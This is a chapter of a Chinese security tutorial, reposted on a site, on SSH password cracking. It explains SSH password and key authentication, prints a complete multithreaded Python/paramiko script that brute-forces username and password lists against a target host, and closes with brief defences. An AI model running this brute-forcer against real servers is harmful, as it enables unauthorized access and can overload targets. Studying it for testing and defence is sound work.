SSH口令问题

 

 

SSH(Secure Shell)是目前较可靠、专为远程登录会话和其他网络服务提供 安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。 SSH口令长度太短或者复杂度不够,如仅包含数字或仅包含字母等时,容易被攻 击者破解。 口令一旦被攻击者获取,将可用来直接登录系统,控制服务器的所有 权限!

 

 

 

 

 

 

7.3.1    编写脚本

SSH主要应用于类UNIX系统中。Telnet是Windows下的远程终端协议,但是 由于Telnet在传输的过程中没有使用任何加密方式,数据通过明文方式传输,所 以被认为是不安全的协议。而SSH协议可以有效地防止远程管理过程中的信息泄 露问题,所以SSH成了目前远程管理的首选协议。

从客户端来看,SSH提供两种级别的安全验证:

·基于密码的安全验证:只要知道账户和密码,就可以登录到远程主机,并且 所有传输的数据都会被加密。但是,如果有别的服务器在冒充真正的服务器,那 么将无法避免“ 中间人”攻击,同时你的账户密码也可能会受到暴力破解。

·基于密钥的安全验证:该级别需要依靠密钥。首先必须创建一对密钥,并把 公钥重命名为authorized_keys ,放在需要访问的服务器上。客户端向服务器发出  连接请求,请求信息包含IP地址和用户名。服务器接收到请求后,会到

authorized_keys中查找,如果找到有对应响应的IP和用户名,则会随机生成一个字 符串,并用你的公钥进行加密,然后发送回来。客户端接收到加密信息后,用私  钥进行解密,并把解密后的字符串发送回服务器进行验证,服务器把解密后的字  符串与之前生成的字符串进行对比,如果一致就允许登录。这样可以避免“ 中间

人”攻击,而且由于验证的过程不存在口令传输,所以也能避免暴力破解。

接下来介绍如何编写脚本来破解SSH口令。这次增加对脚本的传参功能,使 得脚本能根据用户的参数来调整破解方式。具体步骤如下。

1)写入脚本信息,导入相关模块:

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

 

import import import import import

 

optparse

sys

os

threading

paramiko

 

2)编写一个分块函数,我们根据用户的线程数进行分割,一个线程负责一 个账户密码子列表:

# 列表分块函数

def partition(list, num) :

# step为每个子列表的长度

step = in t(len(list) / num)

# 若线程数大于列表长度,则不对列表进行分割,防止报错

if step == 0:

step = num

 

 

 

 

 

part List = [list[i :i+step] for i in range(0,len(list),step)]

return part List

 

3)编写破解函数,该函数主要负责分割数据、创建子线程、分配任务等前 期工作:

def SshExploit(ip,usernameFile,password File,threadNumber,sshPort) :

print("============破解信息============")

print("IP:" + ip)

print("UserName:" + usernameFile)

print("PassWord :" + password File)

print("Threads:" + str(threadNumber))

print("Port :" + sshPort)

print("=================================")

# 读取账户文件和密码文件并存入对应列表

listUsername = [line .strip() for line in open(usernameFile)]

listPassword = [line .strip() for line in open(password File)]

# 将账户列表和密码列表根据线程数量进行分块

blockUsername = partition(listUsername, threadNumber)

blockPassword = partition(listPassword, threadNumber)

threads = []

# 为每个线程分配一个账户密码子块

for sonUserBlock in blockUsername:

for sonPwdBlock in blockPassword :

work = ThreadWork(ip,sonUserBlock, sonPwdBlock,sshPort)

# 创建线程

workThread = threading .Thread(target=work.start)

# 在threads中加入线程

threads .append(workThread)

# 开始子线程

for t in threads:

t.start()

# 阻塞主线程,等待所有子线程完成工作

for t in threads:

t.join()

4)编写子线程类。子线程根据给定的SSH信息进行连接,若账户密码正确, 则写入result文件并退出程序。由于破解可能导致服务器无法响应一些线程的请  求,因此通过捕获异常让线程对当前的账户密码继续进行验证,防止报错导致当 前请求丢失:

class ThreadWork(threading .Thread) :

def __init__(self,ip,usernameBlocak,passwordBlocak,port) :

threading .Thread.__init__(self)

self.ip = ip;

self.port = port

self.usernameBlocak = usernameBlocak

self.passwordBlocak = passwordBlocak

def run(self,username,password) :

'''

用死循环防止因为Error reading SSH protocol banner错误

而出现线程没有验证账户和密码是否正确就被抛弃掉的情况

'''

while True:

try:

# 设置日志文件

paramiko .util.log_to_file("SSHattack.log")

ssh = paramiko .SSHClient()

# 接受不在本地Known_host文件下的主机

 

 

 

 

 

ssh.set_missing_host_key_policy(paramiko .AutoAddPolicy()) # 用sys .stdout.write输出信息,解决用print输出时错位的问题

sys .stdout.write("[*]ssh[{} :{} :{}] => {}\n" .format

(username, password, self.port, self.ip))

ssh.connect(hostname=self.ip, port=self.port, username=

username, password=password, timeout=10)

ssh.close()

print("[+]success !!! username: {}, password : {}" .format

(username, password))

# 把结果写入result文件

resultFile = open( 'result ', 'a ')

resultFile .write("success !!! username: {}, password : {}" . format(username, password))

resultFile .close()

# 程序终止,0表示正常退出

os ._exit(0)

except paramiko .ssh_exception .AuthenticationException as e:

# 捕获Authentication failed错误

# 说明账户密码错误,用break跳出循环

break

except paramiko .ssh_exception .SSHException as e:

# 捕获Error reading SSH protocol banner错误

# 请求过多导致的问题用pass忽略掉,让线程继续请求,直到该次请求的账户 密码被验证

pass

def start(self) :

# 从账户子块和密码子块中提取数据,分配给线程进行破解

for userItem in self.usernameBlocak :

for pwd Item in self.passwordBlocak :

self.run(userItem,pwd Item)

5)编写main 函数。其中通过parser.add_option() 函数来增加参数的定义, 脚本根据对应参数的值来进行破解:

if __name__ == '__main__ ' :

print("\n#####################################")

print("#         => MS08067 <=             #")

print("#                                   #")

print("#          SSH  experiment         #")

print("#####################################\n")

parser = optparse .OptionParser( 'usage: python %prog target [options] \n\n '  'Example: python %prog 127 .0 .0 .1 -u ./username -p ./passwords -t 20\n ')

# 添加目标主机参数-i

parser .add_option( '-i ', '--ip ', dest= 'IP ',

default='127.0.0.1 ', type= 'string ',

help= 'target IP ')

# 添加线程参数-t

parser .add_option( '-t ', '--threads ', dest= 'threadNum ',

default=10, type= 'in t ',

help= 'Number of threads [default = 10] ')

# 添加用户名文件参数-u

parser .add_option( '-u ', '--username ', dest= 'userName ',

default= ' ./username ', type= 'string ',

help= 'username file ')

# 添加密码文件参数-p

parser .add_option( '-p ', '--password ', dest= 'passWord ',

default= ' ./password ', type= 'string ',

help= 'password file ')

# 添加SSH端口参数-P

parser .add_option( '-P ', '--port ', dest= 'port ',

default= '22 ', type= 'string ',

help= 'ssh port ')

(options, args) = parser .parse_args()

 

至此,SSH口令破解脚本就完成了。我们尝试对本地的靶机进行破解。需要 注意的是,在破解的过程中,线程数过大容易对目标造成DoS攻击,请把线程数 选择在合适的范围内。运行脚本如图7-9所示。

38e308fd8bf4410ea22d87aa8ee70ff3.png

 

 

图7-9

脚本的运行结果如图7-10所示。

 

破解过程

 

 

 

 

 

eb9ba70dcb4b478a9cd3e9502e29d0a0.png

图7-10    破解成功

 

 

 

 

 

 

7.3.2    防御策略

 

SSH常用于服务器的管理,若密码被破解成功,那么服务器就能被他人所控 制。对于SSH破解的防御,也可以借鉴弱口令问题相关的防御手段,这里再补充 几点:

·修改SSH的默认端口。

·使用非root账户登录。

·使用SSH证书登录代替密码登录。

·使用IP白名单。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/669648.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

html5 audio video

DOMException: play() failed because the user didn‘t interact with the document first.-CSDN博客 不可用&#xff1a; 可用&#xff1a; Google Chrome Close AutoUpdate-CSDN博客

[C++] 如何使用Visual Studio 2022 + QT6创建桌面应用

安装Visual Studio 2022和C环境 [Visual Studio] 基础教程 - Window10下如何安装VS 2022社区版_visual studio 2022 社区版-CSDN博客 安装QT6开源版 下载开源版本QT Try Qt | 开发应用程序和嵌入式系统 | Qt Open Source Development | Open Source License | Qt 下载完成&…

请问半吊子 C++选手该如何深入学习 C++?

请问半吊子 C选手该如何深入学习 C? 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「C的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff0…

React 实现表单组件

表单是html的基础元素&#xff0c;接下来我会用React实现一个表单组件。支持包括输入状态管理&#xff0c;表单验证&#xff0c;错误信息展示&#xff0c;表单提交&#xff0c;动态表单元素等功能。 数据状态 表单元素的输入状态管理&#xff0c;可以基于react state 实现。 …

【证书管理】实验报告

证书管理实验 【实验环境】 ISES客户端 【实验步骤】 查看证书 查看证书详细信息 选择任意证书状态&#xff0c;在下方“证书列表”中出现符合要求的所有证书。在“证书列表”中点击要查看证书&#xff0c;在右侧“证书详细信息”栏出现被选证书信息。 上述操作如图1.2.…

Elasticsearch:基本 CRUD 操作 - Python

在我之前的文章 “Elasticsearch&#xff1a;关于在 Python 中使用 Elasticsearch 你需要知道的一切 - 8.x”&#xff0c;我详细讲述了如何建立 Elasticsearch 的客户端连接。我们也详述了如何对数据的写入及一些基本操作。在今天的文章中&#xff0c;我们针对数据的 CRUD (cre…

C++后端开发之Sylar学习三:VSCode连接Ubuntu配置Gitee

C后端开发之Sylar学习三&#xff1a;VSCode连接Ubuntu配置Gitee 为了记录学习的过程&#xff0c;学习Sylar时写的代码统一提交到Gitee仓库中。 Ubuntu配置Gitee 安装git sudo apt-get install -y git配置用户名和邮箱 git config --global user.name 用户名 …

ArcGISPro中Python相关命令总结

主要总结conda方面的相关命令 列出当前活动环境中的包 conda list 列出所有 conda 环境 conda env list 克隆环境 克隆以默认的 arcgispro-py3 环境为模版的 my_env 新环境。 conda create --clone arcgispro-py3 --name my_env --pinned 激活环境 activate my_env p…

相机图像质量研究(3)图像质量测试介绍

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结&#xff1a;光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结&#xff1a;光学结构对成…

RabbitMQ-1.介绍与安装

介绍与安装 1.RabbitMQ1.0.技术选型1.1.安装1.2.收发消息1.2.1.交换机1.2.2.队列1.2.3.绑定关系1.2.4.发送消息 1.2.数据隔离1.2.1.用户管理1.2.3.virtual host 1.RabbitMQ 1.0.技术选型 消息Broker&#xff0c;目前常见的实现方案就是消息队列&#xff08;MessageQueue&…

Linux操作系统下安装消息中间件RabbitMQ_00000

下载 在官网下载Linux版RabbitMQ安装文件。 erlang-21.3-1.el7.x86_64.rpm rabbitmq-server-3.8.8-1.el7.noarch.rpm 安装 1、将文件上传至Linux系统中。 上传到/usr/local/software目录下&#xff08;如果没有software目录&#xff0c;则创建。&#xff09;。 2、安装文件&…

操作系统-【预备学习-2】(Linux 文件操作命令)

文章目录 相关知识文件查看命令cat 命令head 命令tail 命令nl 命令文件编辑基本命令 演示 相关知识 文件查看命令 我们要查看一些文本文件的内容时&#xff0c;要使用文本编辑器来查看。在Linxu下&#xff0c;可以使用一些命令预览文本文件中的内容&#xff0c;而不必使用文本…

空气质量预测 | Matlab实现基于SVR支持向量机回归的空气质量预测模型

文章目录 效果一览文章概述源码设计参考资料效果一览 文章概述 政府机构使用空气质量指数 (AQI) 向公众传达当前空气污染程度或预测空气污染程度。 随着 AQI 的上升,公共卫生风险也会增加。 不同国家有自己的空气质量指数,对应不同国家的空气质量标准。 基于支持向量机(Su…

客户端会话技术-Cookie

一、会话技术 1.1 概述 会话&#xff1a;一次会话中包含多次**请求和响应** 一次会话&#xff1a;浏览器第一次给服务器资源发送请求&#xff0c;此时会话建立&#xff0c;直到有一方断开为止 会话的功能&#xff1a;在一次会话的范围内的多次请求间&#xff0c;共享数据 …

107 C++ STL 容器分类,array,vector详解

STL 的组成部分是个重要的部分&#xff0c;先回忆一下 容器&#xff0c;迭代器&#xff0c;算法&#xff08;函数&#xff09;&#xff0c;分配器&#xff08;分配内存&#xff09;&#xff0c;适配器&#xff0c;仿函数 一 容器的分类. vector &#xff0c; list&#xff0c…

Narrative Visualization: Telling Stories with Data

作者&#xff1a;Edward Segel、Jeffrey Heer 发表&#xff1a;TVCG&#xff0c; 机构&#xff1a;UW Interactive Data Lab 【原斯坦福可视化组】 1.概述 静态可视化&#xff1a;在一大串的文本描述中&#xff0c;可视化作为提供证据和细节的图表出现新兴可视化&#xff1a…

元数据驱动的思想

元数据驱动的思想 元数据驱动的思想应该不会陌生&#xff0c;但元数据驱动的实践应该会非常陌生。 因为元数据驱动架构是为了解决高频个性化的复杂业务而诞生的&#xff0c;而这种业务场景只存在2B领域。 有关元数据驱动的架构思想&#xff0c;在这里暂先简单抛几个点。&#…

精雕细琢的文档体验:Spring Boot 与 Knife4j 完美交汇

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 精雕细琢的文档体验&#xff1a;Spring Boot 与 Knife4j 完美交汇 前言Knife4j 与 Swagger 的区别1. 特性与优劣势对比&#xff1a;Knife4j&#xff1a;Swagger&#xff1a; 2. 选择 Knife4j 的理由&a…

Nodejs基础6之HTTP模块的获取请求行和请求头、获取请求体、获取请求路径和查询字符串、http请求练习、设置HTTP响应报文、http响应练习

Nodejs基础 HTTP模块获取请求行和请求头获取请求体获取请求路径和查询字符串方式一方式二 http请求练习设置HTTP响应报文状态码响应状态描述响应头响应体 HTTP响应练习 HTTP模块 含义语法重点掌握请求方法request.method*请求版本request.httpVersion请求路径request.url*URL …

Mac利用brew安装mysql并设置初始密码

前言 之前一直是在windows上开发后段程序&#xff0c;所以只在windows上装mysql。(我记得linux只需要适应yum之类的命令即可) 另外, linux的移步 linux安装mysql (详细步骤,初次初始化,sql小例子,可视化操作客户端推荐) 好家伙&#xff0c;我佛了&#xff0c;写完当天网上发…